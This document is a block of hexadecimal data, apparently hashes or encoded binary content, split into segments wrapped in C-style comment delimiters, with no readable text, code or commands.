17067f9a3689766a7baf1a3fe3cf715e42c221a37b976b6abaf1595830818447b67cb31b47b37f9819a6271d2333109640869a4ebeab7275506fca8440cee58645693fc8c282b2a4c0304eecd74b17ff9ba1cf7121cf355eeb249590cd5c8e46fcf46210b11404ad48950797256d9c84d7a4a8fd64c0ebf07ec3d6cedec4f8d8fb11746f46bc1d4e9445c18b820fc5eb7d20b13a4b5b694e533f6a6e0eabd74ab7cde69a21343e42b8de5a79efea926bd9ba9b8c5f8c2179dabae3a6f799c93ac223edc6641949e02da08a5081cbc64d29bd4fe67dbf52dcf225a7101ec0fb061cfcc9f381767cca431f920a4c56e2ef11dc3b04dfafedab9f7ca17aa7fd18b703a5e7908611ebc3de92ee51e27af648ea98089946471d4937f689c3eeac789bafe0296edd25c03841c6bb8b76e3777cfea2e6d26b38c33f7321b60dddaa6ef25d6d14efa6e6fb21b9239dbe19c329962e19d58d092cf15bf9187b7a614dc78e97f0286e7e1f1a297636efbd10876df73eb5412b855d3c9e705ac5a6c5007894e781a4b7793ac082d46cfcd28d1399805d8a3edd672f8bcfb2ac41e3f61b43fec98aa3d82d18a022912a42803cd9ffd6c28e287eb36a399731ddb70a1feec36f3d3da493c61b6cb86e44b88bc6403115bd42c53a100cc77e1dd58cfa89c8dd0e941f8ea2b35688f799f5bc29319f02e45770cb64ef3d257a941a5e5640cbbf68b2ab3b1cb8eff17a763f6944f86dffbc5da2dc2443c607dbd28ba9c87cc9ac8aefea18b3f8c3f5ddae13920dee2f6efd5bcaf434d048c327b1b0b74b223b3ca858d6a4174a2d106b6f0bfca44f44e38a113134046440d80c31561ea0db17e3b8ef01b7b0ffab4fe714e857708c686a125134cf79994544d2a83434fd2ad7fff8dd58d10d0677602e57cf2b5670cebd79aa0606a68468f1ce89e1dedcfa770c2f6ff570402a84dc355ff2a858e695546acefd583d00076d960d30b859bd78ba3141f199d8d12ac86b3b964f860388b64dc4853a3f00f16d6f45f511f5de04e389b0a0b307453e6aef61114b3906d16658e4db67fb9e05b35d1f233d69a6a61620e4f8941c7b8d3f5a7080c48138fb6c1c2a3ea85a51e2f18bea5be36e2a5df722c9f9c2709adcbd043755499451c0935fde190b28ea96c3ed09fe0535382e3644500ef36e4ff16905fc81bf42b82b7e021839bc4f1acfe97cfa3b4967800cefbb9d4c55932b91cf603d75b18d8097c0cf5a0adac9f987905ca5e73729cc77447a21f3955ff9ac747d4316d06ec7d7b5fdfb77f2a05fd9507f89489566971bf7dba6e9fab0b558f77e29443617d623375167bbc79476f548d64db4dec95c3abfeedf9f5c55b01f64bd77d12626f998670a5a3dd9458b597a67dc20c786fe39384a8e5104a8c4effb7a901e31a413c97a71abf5cbdf04b856cf10782ac5e982c1320473d699c582078a15deb3ecc2d67cccc72b209ad084b73e9d71a3*/
/*813e0332a051235821e4c84e12c46a8e51e7e3d482a080b460ec1bcdc885202fd9f764adf5c6ea08526abde2aa462b5756fd255f2056ae9c8a34562909515413f6ce7faff8ef3b7f73efd2ac0634fe95acdf75aec9c2f6801bf9e3773047b33bce875c1c0014ed8c2e5215c13a68faed3899d88e07c18dc2815c50a9b55f84a3558380fa3d37e656a13924e8741288dd1d5577de3979024686e2e8d6904ec423efd441e0898fc8bac9f586dc39bc5ab046eacfc0159ed9f8131a5235ca6e096095fc9030d0e523d1e113d0dc8b8aede6a317631a10f991dbcfc61b35c7f19f9f16e8b2bfcf409ceb7ae6c3cea324cb5a05d2acb0e78725ef73f5e33cd4eb5c09d3ad37bd7ad2e3ab1445a2355730a185302609a8e58e6a7039b90c53c1c31c10a9f3ce41a776d7b84a56541d31bdc3eadc2fdb4501c41c580c9cf47268ab5ef0c16051a89ce498a33183ebcafa25bb395b380933906571d4ebe6b39fb577af78e6c162204735d17c337edcaca86a4d85e0479f1518d112cce30b85a41a5d51e0fdd04beb75917db040b72d3e4f3cc8cddb8945869eedbf0521d73c2dcaf536d19c572d39d710cda2a5838e356dac637370b310122e0defc4dc82a39395f6cb37ec5dc24d091bbee09e76c2dd406bdeccef3fac35f808b2ca4432bf6aa8e647aff5d6d0e195ee3e0b48c395e41b3e7fb6f4768a009fec44c4358afed68c3b54fc4a2b2c53fbc220b3315905835ca261fd02558320a8fd90ccf1d092606b6a0d3f1b7d3e39d7e1d45c757b5a48447da54b2c80c4c6bda225cd5e7562165dceb2ad4f20338874d5c96a3c9a02f5521760498ffad7c24b6a7c575887dc0d144dd477cd89cf194f0f99defefe2184963cc11df8c82c7adfc6b8eb321f810fb8abfa296e0bfd20e1e8303dc427a54a8dd167f60c0f25228808d79a21da05d1daa6e07e0ddff9b9abf6ab40a17bb108da9cedfafa715e930b5b284d4fa3a17b0abea34b479d7a76bb7cdc347b86d131c4aa418ef239641e444503bca62a8b1f1137293fac0635f785bdf9e9d2e1b91a1fbe8cc0e086b7a085022b22863fae80d203a78316653f4fc788a8d69d6ff1a181be498b81e58e67e79e366d496246ee31bd48a1dc7c81bc817e0fca42676ccc3abf68c9fda0e108127d019a737efa121f5f5b82de854ce6a08c4a4e269132d424e66c5819885322db019759a071e87541f3861ce8b3f1007eb4f79835311610997f459111be536305ff0ef69585997cdfabfdf8553a0f96ef2608b1607a77c2bc598e7474bc5c6cf7337c43def62452476645cdc7c8223d230756bb786329f81b37dc772e00133925671e14c521b4a90664d1b3b566b1eb79e5015c43d42bd5fcb0c8ba847b636821cf992791e4cc8650d3144490047ecba2a91536ef76de3d116733dce36c5cc3091a7175f9ac5c94009b8a2d8809a7bc2e3cefcafee6c2d4b3ee31814c9dc98dbb6dafdc4023026ffaa427e2d2ce58235eadf95633bbad1ce8cce66766c47f215ee3ae0b9bd6c7889f1f85f63b7ab47e800bd731371a69643726e681788fac0fdaab3b0f54b8af4de008707aef017487b7edd0fe80c08381e8095dbc4c003bb0c458fc1aa55613bd3e271f2ff52f82997aa5fa8b729d8905990c91d6f5d6cbde58924677b230024df38c95be7d929e6fe69b07830e8c43a478ba682ba47cd5ace30a28389fadf06106cce27790946896c78c8d10a083f1d8ac22d6bb5044586f5bcf9ea5b43ce87ed0ffc19fb5fe5c3ed07610c943785a8c812f94d4f2d4d778f134f618692b76583717fef1f7c78bd1766dcafbfb47f22392f17544359a9845a94fa2ad92f53b4de2b2c2311c8bf59aa64dea7851d50ad1eab2a51f05a918bcd760195cfc871e74dc00e01f3848c1afb782de8c3d8479c6d039fa4024c28d585be0a61c108f4569b66420ae63defe088db04e2ee89f67eccd0e3cd6da7084c0caa7c23c912f201ef50c9fed3ba23cb760693b72dbb505641ec43ca9ce0b18e09d409d16c172ae2100c55ee6c345fb0403f1c94949fd9f4892afa053ae75f543d6d37b956dd8061d1befc5c912b4f37bcedc164b193a20938d33eb178828f590448eebaaf79d4c2570631e1a1279192f7092fed9ffc96d4a3fed92433d2cc1c8c822a5e90fb04c40b1dbe1314f1a35a9a92c66245e2b2262281623f2e816ee4cb090f2e097fc7bf86fbcf232c5c1efff7c72a23b2e1cdb088005759bbd6eab8bcac36888bf28e8be1db0bae94b58added19ba176cc54960d677813a2b03a7df1bff5d3e6e258e8fa5c032d1a34a7d9b028472dac58e382ea93b8f7d1a9f253df022f7f14137815c6ecfbe1acdb73a1dfc275da587b189d85235f1005c93cbc9328524e1a041090761fb133861497eaf060160bda99d4869c73ad56ace196dcfee7969433e3d83bb585875885505ac33ed8f7c329403305864525799c5ca587e1f8f17fe8a335d5e15353a54b0e6b6571d8391a3578bb8233aa56fbb9a52eaf48b8ca8dc95bdb15655f586d36a3c79d0c11083d0392615e958c385a75d6c14484228d05b9b3fc04d9a71a0b3dab2512f357625fdf4fddf9e7d28fd29f0a09c6284914bd5dc1a7672569326d96d8eaf5c918733f79d7cb36d42599e7604d3fc29e03bf9f5c999c77670f1bf1dc49dff711a348745f7c011735948a8d077f41a88e7dfb3200ae2fe7851ff5b629531788ea6163429adfa4bff3fd0d0de28476c2a2dadb431367e197c947485576c869161382eed94dfb6a9d2b3bd1c6e1260d2b4af7c7afcafcbb0a88020263255a144e6b48fc179acc5e784de5e0d97f*/
/*0832f0eac22b055f8be1842cbd3ce6391922d8c1fb30b60a519c6f723b47f7a3b34d3b4a08b4cd553cf3a6da9e88363f0fe34ce07e5c131dc84acfdda82f2a6c6f2e145e792e95e3b3d685b1f39bc71bd1b4704a7a2b245a6e802099fba24aa15333ce49c991b15c67d17bc7257d9db08ea1ee3997e5a982ef06e1cdddb57f4858b15404fa6f65f9414f534a304f04573772377365ac7ccfd2e471ed1fb188128026214e2024b3823f6280717fd531a5100451fd6443e611d82c348b3fb1d24e967f1a5e31dea5b9b31fc67fff5c36bc82927338f2ec9b8e124494f2ec841eba7078abd2e8a6d8a2f547e0da13e6e23218fed1be4c9c6bcb2fadab3f77d2e5bd96e6b8dd14c399423d8762a763b9ba92b0cf33fb14c1ff085fb59e5fae9ba2f111091bf294f821c2df94bb0ecf33b91a13bfacd8e44b88aa030c1de5136af4b527ecd88b39713a8ba7e1426976bd43decd45e42ad38811ca44725ad98430573874cc9f7e1879981a6b64c943c8515922a8d4e824c025d1d19ece1f86bebce0b3c9234a09463f6e8cf8c5c18fe2c6b45ab291fe1c77414dcc1d85567d01c3589e9bdfa08f8d811a5c0d1120d8844d5b9a09d138a7374256fe7e27e09bbd6bb2dbde96137ddbd990daac006170f56eb52897b02319d22f2ef002ad7e6d6de7d2de25c93bd7c9663d4ffec35751a70ff6d6633328b1b5308acb01d43ae898b2fa3b479ade3a0b259db9592b0269e177adb3dfa7803cc18fd1b3215bf3dc65afac136730b62bad32e29436a7ce9b66a1a6feee8e91e7fd7460d2fb4532beb9366ce86b095a452d495c7328e4fcf18d15d836b9071ae322fbade383caabdeee9e2cb9d0faa46193598387a698a11a2c3bc41e44751b8b82d036347098d4f8ff55a0f67f481f351097e3769be96657d79118718a09b04b33f0e894856e24405b87e2c7eb7f4a718bb22798e0b148a409efa4e45d55531e8dbe40f38b304bc1afd0dc759093dc7989f1d8243e6c1128b9ec617f3a59fafb9de303d0b6fc294662c83e909182244e144bd42546fee0dec6988961ef765405ea163bf1b282fdd804c00b4713c0abe4eed9670cb10858f1fe04ccf63d43c3bcfb08d2121bb889e417b36bfc915887a0d2dfc0349156e6eb71af7151c10fa2aa6f92141d88fbcfb923cbe33039f13ea6ffeefaee6131366ded10cd4fa31ba9e189ef610a28b7172379786b5e1f8e19c8790b865aaddb975d5acf85a095d8a15a3a6bcda4063818fec0c4f2f6baef9f20a3374123fd303667d3d72d47d8b122be262685c848ca88dbc2ef51fccda273f795f086b6a14474a18110b3a61cc59edf70a4f15b2c5f130f8523ffd47ef07069b10e301a8463fb48a35d96dbea90a99de55fe5e98e40e60b8180a6b2d5487e11728fb4b91043616f1036983fd5e0a26d9e0a8ab753b74fd402168fb49ba927a4429de8e188b58e57c08e8b8cdefc56261c470dd346ff49a3b9c5f194eff8bbc0802ecd978cd7f37a77c2915f329dd9610ecc185f401b598fe9f0f00acf687b1c4b58e366364276d33a00c1773f6dba948257d581dd268dfcefd8f96f1bdc9617fc6893f65f7d021c1f8c84c64dcdbab1867fd193910893ea2710fe76b630b205f6c6024446793ff2125607fc9241dac95a8caf8b28effb44e96158d4f6a69fda6c100c0ddb8ff125f716c2867662381d3d5e7f2b2784454661513037fe6fe0e1fdf8be358dd785b4e725919ab77c10447d055f9a8b129ea7a328a7cc4d8d55228237a80f4edd39573af069f370f5451e682a0d5f3bfeb1906d96cbc67042c2f43064b1bc0512bea76e549614fd7f2541d86f9205d82e72855246afff5936787e03abf79f218db86c4f2ca0dbf6bd139634b3667de285863091e950176095ecebb2c5a71c03e1714469e6ed30db3db5b4675e66a40813830a4571e4201e77d5f87c04d6d5a7d855a53cd30686287d783d15cfff778fed804f53c3d68ff0f74cf1d46f0427327691cfe9c9fafd6d7a45575a18b0da437b355f3a398ba164ba2d602c3b34003da77ad9471bbbad3fbd05d9e09da1b90cc64f259feb6b7f7631db8599a12d3bd1720cdd09c2acfc94cd1af8a9b793bf3548712d04641a6fa4695aa45b07d64ad2f9ded4ab0e461f36cb1b7e734c3fb442d5677dd81a4afeef129cf1605f5b314b9431e52b7c7066363515ea93a3f3d15d7fc35c5b14579173656a56c562d1fda2bce64c00786fbe2a1b44c8ea780dcbe4d0ce605e14931d17f253ec58461bd751f6e6811b9b3176022273e0e053343df02b8c0e48be30774a6acae7e9f88f37bbc715c4a1674aa9e1f34424a8d2fda030abca49ebe25ae37d12eb8e2dc928f2564e6a97057106c3d777b77e3c1938430b255b159e859f705e13690efb7e4521c5c8c451f0c0bcadbb786d9fe5ef6eead179ac98437797c6cc3fdeeae818d86989524110450a0f17c8258867a0353d27a7dbd88a446e7f0eac896b599ff61e0f460eba90653da8658e6ede893d0d79cec89c1e01f8b68a3f0225e5dcf800e78a3f099925935ababc1ad41e601f4760788c676f617e50a41d47feca8a82a76769d6c680d833f895c8f9232378538629f2025b4adbe0afed48aeedf6d7c207cf9c93c4baca07891cda7c5a9c3de973b0bb551b490d8bdecc41cea1164636fc85ef6a0c5146d87ad6ce396c2eb7684380955e7e72f0ae2698442341824cd13618e5da616f87d5c2df97756e14ed3276babf2604507fe0b4e15dd78b58b332a71dff209e89355eefd16a03ebaa4c6c2579f3a1e4a92d6f1b34eb9c521abb335511da900023b7c984cec1*/
/*7435932d4aa5006b116d90eee1b8e37a21edd35827c7210cc64f05dfd6706612a69a7767dd6fcf42cf94924ef459b04c9f47e3309d2a7915296848fb86d7e6e194e0e99837e9cad3d6f0c91dfb083d4f4cba977d77d9ddf70526fcbef180318dcb71d452724fdccc8b6307719246127dab3e5cace84056bd0aa92f60dba3401f16f87bb9a32f4769210904e0193075b8e83f3842cd2e1bd5c61714c26bd9254c4b89776706427294c72011a3d2a4153407bdb1a7469b4ebb284fd43bfdb3764f2c47aa57f154ada63403a293a4463c844f9b70c343a42885f328e13c6f5e0cc01cd8cf8bc8b5ff423890636233c69edbae66e8c2170334325406fbd49c82bb36d81f2edba494d3ec78fabe439c63725d2446b5ad830e1d0a1d289f736ce6160b20aa2f4fe4aa0d12272718bd3d1099c7728f5845663691c907df4102fbdde6534977faef98b28dc627829c39638daf66cf9e40f06beda19d4049426b68730b3c73649402d468a56b7f995ffb0d749732c51024adfdeede98484f6ef2962adea39cb93ef4a57fea3445f91eef6d7bd4d9a9dc0641f35f6aa60f7cafea815ca802c1f9e94219d2e1bae8064dc1cc7c524c59221b9b85b5e464f9e81a3f0d8dbafd22abf4c38d4228928ddff5f5d90a1df4e143cd6bdba1562b465563f15f920536115b179a1bb0d8d2bce8f5eb1ec9ed66358208eaabf85e382b87333267faae2e30d69fc10bed58858ac501d8c720834a24e3c0d57bdd183acff00f16d2b6e25c6536041b8b292568a3d300a52f5c0c7b2ad26abf2674a19122296fabb0957357912d253601d8d79362da4f07b0af35249c54dfd62e398a8dd3e62b3dd0e0b10aecf8423bf37fd474239a90c13f1d2045f3d0708a962225cd9fa2aec4001ab76c1af76ac70b5dabd75d325d30b7e7d78b0970459de9be3ec22730a3894199a9090f2fd0c626cac8bc80b79680edfb16e44ab4d4292a809b245b46d7224c9c902ab2912bcf5bf62ca26d7d25c8b2be61f188c6fde00684d71efebb12af9091afd33a2a75d119361457c0b70da45f7f5ca3bd665285f2a4b53eebd9dcdb85a3eb7a8b58573bf59021ce3108a56ca18e5264f0fd88c5018f3d479a99535a30d8cf5e30d5540be2320d3ca642fb8324a043c88cd612918375171eb75781bf482b3ae04d19bd2c6825727a2cd2d855484395b409c902ae084149efeb65e7af4a1e115ceb898aaab6ba72743ee8bb6a73d84cb9a1ed3394b40e1fde0af5809b6d9059c0d68761c04bc321ac78cc7f65fd75b01af0c4c2e7519283bcfaf4c8db014b8de51f9d9b9df52bfcd70853d462a7abdcdab53b89648b45e90980097eba903a60b95694d10ba991574e641a0c5fababc2588a0f7b28c32e9c7482bdabfe0908a3c8f945f0f582fd6c5f62ecc0ee426677d3e21f16168e094a00cff9fbbaa4f3a5a02c166149005b7eeb730c1188014422bdb11b53eb256c97786e18e49c440bfee08049b493250ddc28e5923de3a7a7df37c3416e4bb98b5c512692e4642961b5c79da104bdbf35e256fc1f4565bdb3a38acc2075b739b8da2c1e7fbe4c318558af0498890cb5bcb07390d199dca26daac1d722f9b68753e8f9ab4dceab9f25f744f49fe0dcf49944d503eb4debd71937c35051009e4378c8b56081d93eedcabdd06fed64da433c294d6fe2348e0ec4174dccdcef5bcb75e295611082f2ba466188fc012cbfa40b27b8668ff512319c7057376ae85a8b2ba89d65552965f1d5c9e6dfbeeb4c84e9cbe53283e95d20844ae1d59f91cfb8b4f60237e018b6365f9b1915d7de321d15ae2e15582768a1edde596db1e883fc2ce7db27870f3f56d65379d4c673185c211af54298f0c42ab895c2f72026256e8407bdf81cac55604f4540883aaac0087a37338ca6a43cbfdc83b9699ad23cfefb96944f450d85dd0d7077bb55dbc092bc59f31c6a66a6af05367b47fa127bce2780b9b3b857713c718b53b1f74a7278f1e6cc8e79cbd1e11d7a9e9df9ea30f5b2c45af210b0e35c20d86a2a5ca6996aa96c648cb15f30af7ccafa05bdf1abcd0d288f55974cbd644ec1ce2ca5466b1dbf6374323f376a4932ddf625508a5e1886314157eab714275b8ec5f6d06bf9d6ba69121555d6a3c43a396bc7621e94af16519d7101dfe19bdb9930769e57fb49132b5c106bf91d11b4c68334f9f548bab5a6aa6e6a192fca22ce321509f86f4a34e81e64d51f055a897ca97e0bc42265da3ffa839384cc1590594606fdab54ae86ce8c5bd6f917950edaa2c802a332539eab419c88ad1934dcca550629011d12fc8ceb0c79800eba71451c2a74a94a30c76411b0cd7d5425ceab07a76d784b8202b7c0936b097f8035a1bb286832f975c337c5471f9e1aac47dd998e7e0b4550ffba1915e3839931c55b4aba9ef2434a3e4dbd9843d8c0bbbf6501a6934faa0b494f22c21c93b7f430c86e7bf0310036378d5ad1d7c30a48580b609e7a8e5e39ce7315341ff2fcdefad5d326a26c645607be3e96e5148dfb5e13d61dd5d9ee4ad53e22ed7dbde9c0826a5dced39657766ae1c7f5c0c1fc43d29f681e3d20a83f8ef720d7e79d74952a5366ffdf9b32cfa809cdc7d32a16efc5838e48af97f8f0162cda3794bad3aace1e83d594571b5a9721315cc90f8d765ccdd063f62c9d2ebef4ebb3e6bfe938c87624a62c3e40bb0a254c9077204dd57e39c6a824d4a32fbb03aabeb8777a10ab327a924371d8dd2247a15c26fa183f0a753f3683c58f7ec601ba6ea09f644f5f782cc60d3173cff40f76007668cf7b8e9211b43aac16ee7c1fc15d1c8b0694b48faf*/
/*9a7a6d57ef13496f8d5d29800c86e429969464ccf622e7e697f3cc5bd47da4ebb2972533fa333e3bdecf3fc6c804d8d149220c332208bbb06080a9e762cc3bc669b7ba0e594516123fab10c0fca5350fca3f98fcb8019cddc80a1ad30d347f1babc24c434af01142660eb8b8f162a028b804977f6502e40f2171cb3b912b4535d1e785505d70a32c1533975abe3d3f056d9a4fbf9e0ba4edbf4cb4f9cd7070e1b20d0d7bc08d18d46d9896c2988e18bb635c66f05fa55927531ee04d971a3c6766b8cddc06fd6a91faa5715c5067469291bd68807917fb9d856d68277ebace825abd95fe9d4236a25717b1d79851ebd374aa6b76c1c28532e1aca580ae0aafa530ed934d1dabf6d2046ffcf7ac0da20e1beb30c3024e6fc029c3d5d459675ab7b45a7fac82b995205ebcad18e91bce6c5373f7679587e177834d765bb10d69fb2f5f72721cc17ce21869b215ca70f19168aeb5f4c9e640f05f7ae01273f972f2e4547b9425aedc6ef7541392d791b65d6679d7b2b319f7e30b2997d4de8e8a320ed0022bb8eef46c62bcef34ec986109d1a950ce0deebcdaa531ed57feddc67ba43548df9a7516912c282f7b7b450dc25e7655bffded6dd6a9d6fe47df9ab3bfd6790743f5f73c06eaf3bf41e50915b96f8b518f61f7b6a2dbf95c034383bb377c61b55f41a7f0e220d7dd6dc5c7d25468331f8e92d270535e78d52dc8811778f80ab4290cd872495a39f630d3d7a42038563588cf813f2251d31db305cb7a2dc5aa6bba5c35c13f68d43a687cc875576f07e1694b85d418a4d9f9b9ad7c79a6df4097857edac3bfb6424b83fb53a1315727614083ae6e2afd7db8c831e088cd923cf9895d55a0521c45af3c63710c556100a81ac8cc61f57550bcfb6747105bec8d71120a13a52b9e9359a44ee1f50597c1e946ca2f0a89d226679a32615bbfe2c3d671a65fa1ec5c159e3d2638025211bc7a2e379ceeee8c21730abe17d2ab4a36511f0a1d7f35deb56bb5e96f5680089e95f4c676ae5aa0eaf09becb4eddb6614040eca4be71c667a1a11d5d54ae0cdedbf41d248e66caf9de260773d83bb98e70ba760d6c4891a100a97729ab6569ee6859bd68b98adfb859850d72bdeb977ece96e0d7bda3df0a527c7ca2c3fb4759bab2eaa3174e219d7cecca267ef5e116a2eda37734261b9da244907f17126d65ae176d59b3776965f3c2b831cc0aa07bdcacee64c2aae5950d00506b3fd9e2d2a7bf6ea2ef784edf262c2356cb1f22fd0624a5e22a2a68b0c39e19575a92e749523d3a0499a11d3552abd5dd65638cdd1fab853573308d01e255e2ed4ea80b9d36bad64226472eb555569d1700dc5aa4833229fae413885d14ecb6ee4c1a8f7f06a2a473269bcc67e1385b74586b0e632ace16076dff4e9da861744aee47633f50218a87cd586620793a8c1097b4a1df3e370f80d00904faa63edbc24686c9d38d5de76e83825aeb273f05448558c17c7f503d640307b6487d48db6459a02f252d587cc82ff4763f3112fa7557f271a57eb79ba7499c7b9c18fe840d868acb70bd54e176a28910afe323c2a2f16bbfa8836bae83a7f839a30f7f64e878203ac01acc6c40e81659e5c1932b1ce309034a857dd0681ca418205dee3204718c76df1f33694efc856461a8096225f8f17f33cc9ef158165a5a7414a36612b2e959618f9d5ab4c06f90244dad2cc3a0d13141d12419eeeb122a5555dbcae299cae2becabf4a3eb6642147cef9394ffd0b7b6ac20d565b5d387a5e3bca17eb1a535e5d647bcca522d83b4193c0b868dad53af6ebc01016b1ec5318d7a1f48b9415570f18e15734e593f4153e69d4ac08f3f5023607b2d9c5c5f2cabd37e47408c9442e03a3ffae17518ffa3712015a98712bee31456477de61d5085575aeb23185ce80ad4abcee5f2a6dcab2ed76b288211a7343c8d8225b89bed493233ac46594d211166328a87a6f65782730f742205c203c46b259bb04b1ef4effec1439d82ceff64450f21477e70271d76380cf8099e235f4101857b9cd2b5fd495d7b70ebe276a21cc533c319eec57cae29f442410b49e0dd39cd074cfc87e7fad81177ceed9073cda1627bb5de80e55a3094a3df0c1f34f8dedad20536b65ceed04ef8f66b0c20af52a6d648873559544d89f8c07532bae7b783601e3075666dc75922c6618d94b174d6867c7cbeba4cb608c27a428e3d63a2629922d1591709c1464dee87953aaac409aa5ce8670795fb39dac00a1b52ee4662b6b2c9f9f5bd14c9ad0f50064fe37e96a526ca07760d83c001681e066058777f4679a1a28dc008dfa59b8dd198988a4a3abcab87f2d6ad07742d50258daef3f8802bdf705b7d01f732c3c025f2404dee774121240254c30506b8d985af7bdd10ed65e9f3ca13cea1192d564b78045d76d01f4695c1ee220fbd5e93352c1c14b1186a15cf5f0b44f20a763c3dc8f8600c7704f456406c4e703fac3a7378a98c2537f796cd34b1f7aab234793dfbb76665f6763c03bdbe92d384a28fbc621690d31d844029c4bf52d0f5187e2238abbf56f2b4ae5238126d45d67f356ffadd8545f9d65a0ad898c24749fa375d8d0bb8acb5ba8545804769f34a90ff83dc9ed4476e0c242039738545e869ec51e5ab5747e8828834a7897374427b35ba162ca98b0164cd8d9480930c90708c37c6cf4c014c8201064036b7a82daf19675eb173459e4783673c721846524f320afbd2d42a037f0f2f327b29a38d9fb0f8bbd09847fe292cd112698e2d89c8334e8508ffe12558c813c8c056e2c27ad64af03d3530c3daa094283185ae79d728*/
/*e9338b691ea39c4dc8e21dce199c94a372e60ead096f29e345cdffa493e20dec7c00178d9c670c0361856745037995d4b37f0c6c1dd44f6dac38839967d556d0aa8b936ef3cff832b59cf47405301a856d912a33119b38255d4acb378441509d48bc795a44a9b58a968673df8013b77958e09f4b92887f6c3c1ac290e15b4de1b01338ae2cab1b5c3ae15dc9636e37727f055703655f2222f7a6c3bc457357784e664aed2209543f1944798f2e7bfcea56b96566663b8e33c804ac2253da157b31f9d95c63babc815b7370b2ab587fc7b3dcddd4d92d847283d0b33b6baacdf7db9a84e156a48402edd58bc7a290e4eb05979ba621d09c4c255ee9f5c7698a88d793ef881706494952b86748c7a87ebc02a5971d2570b2d93c1bda869e42b7d4b07af0950d7f4e0bc935fd16173fa33ce8cee98c353d7a6e7ec36ab1d941e2acd8d6754003b366afa9009c599f3945b54826bf089081b7ae393a03710abd85e0940f7877a5ad7631dbccb4aafa9fc11c227921b0f98e81b2395aca40c05008a8f415d726c386cc0b9ba61fb6ec78ea085821a8f7a2c68b9f530bba6eb5dc5353305649a0cdd676f1e84c25abde21f174000b34115e4d17e9736a726481b0da584f3d471992ecdf6779280887a5ce2ce6b3fe04ed88e6b7a24cde09a60b65a95cc7e1541d45c43f5201e76ecb9e03f03ba319ecdf86af6036dda1990385acebdf66ea95e2d5d092b2fdc4cef91a121d865653d2d1bb9dff64264085f0e53078875ef36e7b02a797f025635f0e7715542397156ca0ae8fcf8fc6c6ba773ffa2eb3cafef9b6c2bcba684f26621f75b0120dcc6da6d7f4d28270d61f21dcf14e2fdedaa451079c25868b182628bada5df247bccac893fc2b369e1d505900c4bb8564d5db8a17910f4b6bc383f76ef45578505a17831b8cd453aa44b5a59312f0b90001c039c809118abd4893da9bad2baac8442daf405ed6504298898321f4d496ce761006baddb4efd37bdb18583d183993dd4144a78b66c2a0beb89f7e0d749b22713b0c77d7397e776690afa51c1e1815196a4effeeed6f8ab726c466a0286c80578da6d9c1b2b89ba89fc5a38d4967d1abf14e2bfc4a116c4592d263b79d75d0385dd2212ddd662085cc22212a83befc25c16aa42ab92c6e58cd3df714f51f239c148e639e29cd4157b723718ac1a5c0ea2688bc0bed98e6bffdc62517550c6b119884899935f32c987f98f748fe029248d32842aefa32c86f15fc229b5871e6b8dd3eeff4528681d2e60c826463abf3ca2fd608d2dd2935b298e4acfdd3fd68d5bf2942c6ead6a528e8548ab8e55f512aeca54f5db9f0d2e9a484930ee1a229a77a7e2b97bdd6015cd1a453c77dae60cea30583ccbf456c44289c9675db8c39cbe3a51a67c13ba3676632eb215bd4c9176ded814f926dff93d2e3106a1677436e9e848dd54f2eeec27fe7f416e706a91bf99ed8da6d1bf95f48438423d9229b489cbb9c5e4226b86c6b77838e93462410345f63970fd0ef7c262fe11f11ee0167cc56195018acacaf536e101e695db75273e3384250906ec0850452b21ab42f916058ce8dd3a91641469b53a60d675d3e538b10ad148663bab55bdf209ef70c1e8d0fa3ac00252ab6176843d2641a0254e61ed37e09a888274c15c4e13f7508281354c3a01b32c96f5a9920c30331fe48e7637214f6990708dfbbc604acee30254fa2886366712d91d3a97277acbd970b957753450025c1b374dac5f3dc9025f26332a5d72d45603d6f8119dd23a92be75f900aac1b262206597ed279e50e28d32f5d011a4bcbadd5286473b4936fade90aeb346481ecdcbf20a784d7b1fd25396383b10523de16a39855781c0312e0c222f9aac34fb86e2bd8c20e8095b2347bb7cfacd987540e85e906e8f4f675e692ea1202cf6aab094187d17ccde861fe0c9f549b030a468f1a83c91ece0cba7605283cab39e61ce3566a4d4ea3928b0cbd9084ade3622f1fd06dd4566c70dc12b43a73151f0c9719337a40f5609b39a7d56c97e36e0f3ade8b9c1460eb79bc746d0915e507dd8ec4214079cbe79e83b2d22473da3192179a783e0c0bd5da4efde51c12da21ee4152129a31b421cdf8fea8b5e1c9e982a4810d8aad779645925b06d94557571b1235a2bbb1cf16b52b42c23654e90dd0bce23dbfea9a95eccdb14d747100723a2c12c33912c9c8a663faea8627f21d2e5fa8463c268eb57402bfbb1efd7ba281bf3576b802d07d376eb35cab138a2fdf7b7facded1ec0eda72e6239e2085d6d0e13aa779e0dbfff61c0d91212f884fbd24dd5fbd4a0b6725c742421a1f87a8218f5be0dca6dfc122f8d8816433a2b6fd033d074177aee8a69b0b2daa67bd0c765b6fc99ffa2702efcbdf0006943932b862628824160e5e500668e5b0d491ef3a6976ae8ee4f9c58954aa9f38ed0f2130a31f3546c780574ed28adb764774185cafe81370418767a16e3719d7cf9c62cc764a7c64885c2c1b912e4316a25657d78c786e5f1cfb47cb96a6092cbc5750f924d2baebc97d01ee4e5084264c265cdcaa9aad4584d1576d5b4372ed879c38655c9c9197540acdc6c410fd84c1d6e6718c2a44cf5fc53167cea5d8ce90d297af09ca872791f3c9fb9b84b05afc397028e4f8c4dc74fe4932d703c4ef099dc5078a87c195cf48c396d48c74ee914cf3856acaeda2e8b5c6bce20648cd5585bc398c3ad35d900c04a61efd979f58129e08d2ea84d2e65caf95f64545e16604ff278b8caea29beea9a215e3cacc34087be2c02183504b6b7b9f5d35e2f9d416bb222c72a7ddcb36e9abb6c6*/
/*d4b968f187b19de0ee453b7e7c5d28c93ad57bc0f150d0542a5b7e5ac69360cdc61861e2f545b3fb2c359b18e096c863341c7842b435afe8c440a386e4175b4debecc073a34e6b546f49f06e04373ee692732093cbf412d11eab24a00be30aa16a957d9a47e85316e93e5a47926a4cdc9ed37921ab9e975a2c361ca9de50c44017d703848911c1fd854e858449c87a22ff899d3bfd2b311dc2430eb94b734f11b5abafd56e3724f2fb3a49bba4ff9f6da74174022c8a3bb51fb79b2135bc78ce12801a4d2dd6481911e433bca5476cb1625d8d8fea173c0b7204c01ae59dde63c0c4fa53f20369cce6ede0465eb6ac635a317c056db8ae71aa5c9ae3d57c4646cbbb862f8f74d6796b51148604d95ec4a55d583ec0fd215ed9dc643dd7c5b955176a60f4e2b6aa0fd88548bafe66998e5facc0d3f636462753736eea6745a8d66a1b5bdd70ff3f36068f662c3b6f025190c089a689f2d358937dc059059b36338025bc16c3ef17a2a77f5607123e9cbcd417baa3a6752c4e11744f3b0c84afb4e6ef1576acf073a5792e70caf937dbf6d5bf895cb274e12ce15f562132b